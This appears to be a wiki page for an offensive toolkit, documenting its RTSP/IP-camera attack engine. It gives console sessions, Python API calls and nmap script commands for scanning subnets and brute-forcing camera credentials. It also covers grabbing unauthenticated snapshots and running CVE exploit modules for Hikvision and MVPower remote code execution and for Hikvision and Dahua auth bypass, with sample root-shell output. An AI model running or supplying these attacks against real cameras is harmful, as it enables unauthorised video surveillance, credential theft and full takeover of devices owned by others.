Skip to content

RTSP Camera Engine

André Henrique edited this page Jun 8, 2026 · 2 revisions

RTSP Camera Engine

Full-featured RTSP attack pipeline with Python-native implementation covering discovery, route enumeration, credential brute-force, and stream access validation.


Overview

EmbedXPL-Forge includes a complete RTSP/IP-camera attack engine covering:

  • Route discovery: Enumerate live RTSP streams using a 195+ path dictionary
  • Credential testing: Brute-force RTSP Basic/Digest authentication with an 80+ pair dictionary
  • Snapshot capture: Test unauthenticated snapshot access on 30+ endpoints
  • Vendor-specific exploits: CVE-specific modules for Hikvision, Dahua, Axis, Reolink, MVPower, Uniview, and others
  • NSE integration: embedxpl-rtsp-discover, embedxpl-camera-identify, embedxpl-camera-snapshot, embedxpl-rtsp-creds, embedxpl-hikvision-vuln, embedxpl-dahua-vuln

RTSP Port Reference

Port Description
554 Standard RTSP (primary)
5554 Alternate RTSP
8554 Alternate RTSP (many IoT cameras)
37777 Dahua DVR/NVR proprietary
34567 HiSilicon/Xiongmai DVR
8080 HTTP RTSP proxy
7447 RTSP-over-HTTP tunneling

Transport Modes

Mode Port Class / Method
rtsp 554 RTSPClient(host, port)
rtsps 443/8443 RTSPClient(host, port, use_tls=True)
http 80/8080 RTSPClient(host, port, tunnel_http=True)
https 443/8443 RTSPClient(host, port, use_tls=True, tunnel_http=True)
auto any RTSPClient.from_scheme(host, port, "http")

Interactive Module

exf > use exploits/cameras/multi/rtsp_cameradar_attack
exf (RTSP Attack) > show options

  Option          Default        Description
  ------          -------        -----------
  target          required       Target IP/CIDR/range (e.g. 192.168.1.0/24)
  ports           554,5554,8554  RTSP ports to scan
  timeout         5              Connection timeout (seconds)
  scheme          rtsp           Transport: rtsp | rtsps | http | https
  skip_scan       false          Skip nmap discovery, attack directly
  output_m3u      false          Save accessible streams to streams.m3u
  onvif_discover  false          Enable ONVIF WS-Discovery

exf (RTSP Attack) > set target 192.168.1.0/24
exf (RTSP Attack) > set output_m3u true
exf (RTSP Attack) > run

[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 - Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 - Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 - Phase 2: Auth detection -> Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 - Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 - Credentials: admin: (empty password)
[RTSP] 192.168.1.100:554 - Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3
[+] Saved M3U playlist: streams.m3u

Python API

Full Attack Pipeline

from embedxpl.core.rtsp.scanner  import RTSPScanner
from embedxpl.core.rtsp.attacker import RTSPAttacker
from embedxpl.core.rtsp.models   import RTSPStream

# 1. Discover RTSP-speaking hosts on the network
scanner = RTSPScanner(timeout=5.0)
hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])
# Returns: [('192.168.1.100', 554), ('192.168.1.101', 8554), ...]

# 2. Run full 5-phase attack pipeline
attacker = RTSPAttacker(timeout=5.0)
results = attacker.attack_all(hosts)

# 3. Inspect results
for stream in results:
    print(stream.url)         # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
    print(stream.username)    # admin
    print(stream.password)    # (empty string)
    print(stream.route)       # h264/ch1/main/av_stream
    print(stream.auth_type)   # AuthType.BASIC
    print(stream.accessible)  # True

Expected output:

[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 - Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 - Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 - Phase 2: Auth detection -> Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 - Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 - Credentials: admin: (empty password)
[RTSP] 192.168.1.100:554 - Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3

Skip-Scan Mode (Known Hosts)

# Skip network scan, attack known hosts directly
hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])
# Accepts: "host:port", "host", CIDR "192.168.1-2.0-255", hostnames

Expected input/output:

# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])

# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ...]

RTSP-over-HTTP Tunnel

Used when cameras are behind HTTP proxies or corporate firewalls blocking TCP/554.

from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel

# Direct tunnel usage
tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0)
response = tunnel.send_rtsp_via_http(
    "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n"
)
# Returns: raw RTSP response bytes (base64-decoded from HTTP body)

# Or via RTSPClient factory
client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0)
status, server, methods = client.options()
# -> (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")

Expected input/output:

Input : host=10.0.0.50, port=8080, scheme="http"
Output:
  status  = 200
  server  = "Hikvision IP Camera NVRA (V5.4.5)"
  methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"

Vendor-Specific CVE Modules

Hikvision CVE-2021-36260 (RCE, CVSS 9.8)

exf > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
exf (Hikvision RCE) > set RHOST 192.168.1.100
exf (Hikvision RCE) > set CMD "id"
exf (Hikvision RCE) > check

[*] Checking 192.168.1.100:80 for CVE-2021-36260...
[+] Target appears vulnerable (Hikvision firmware < build 210625)

exf (Hikvision RCE) > run
[*] Sending exploit to /SDK/webLanguage
[+] RCE confirmed: uid=0(root) gid=0(root)

Hikvision CVE-2017-7921 (Auth Bypass)

exf > use exploits/cameras/hikvision/info_disclosure_cve_2017_7921
exf (HikvisionAuthBypass) > set RHOST 192.168.1.100
exf (HikvisionAuthBypass) > run

[*] Requesting snapshot via auth bypass endpoint...
[+] Snapshot captured (54,321 bytes): snapshot_192.168.1.100.jpg
[+] User list extracted: admin, operator, user1

Dahua CVE-2021-33044 (Auth Bypass, CVSS 9.8)

exf > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
exf (DahuaAuthBypass) > set RHOST 192.168.1.101
exf (DahuaAuthBypass) > run

[*] Sending Digest bypass request to 192.168.1.101:80
[+] VULNERABLE (CVE-2021-33044): snapshot captured
[+] Snapshot saved: dahua_snap_192.168.1.101.jpg

MVPower DVR - Shell Command Execution

exf > use exploits/cameras/mvpower/mvpower_dvr_shell_exec
exf (MVPowerShell) > set RHOST 192.168.1.102
exf (MVPowerShell) > set CMD "id"
exf (MVPowerShell) > run

[*] Sending shell command to /shell endpoint...
[+] RCE: uid=0(root) gid=0(root)

NSE Script Integration

# Discover RTSP services on a subnet
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24

# Deep camera fingerprint (HTTP + RTSP + ONVIF)
nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100

# Check Hikvision CVEs
nmap -p 80,443 --script embedxpl-hikvision-vuln 192.168.1.100

# Test default RTSP credentials
nmap -p 554 --script embedxpl-rtsp-creds 192.168.1.100

# Capture unauthenticated snapshots
nmap -p 80 --script embedxpl-camera-snapshot 192.168.1.0/24

Output Formats

Format Option Description
Console default Color-coded terminal output
M3U playlist set output_m3u true VLC-compatible stream list
JSON set OUTPUT /path/to/results.json Machine-readable findings
Session DB automatic Persistent host history in ~/.exf_sessions/

Home | ISP Device Modules | OSINT Modules

Clone this wiki locally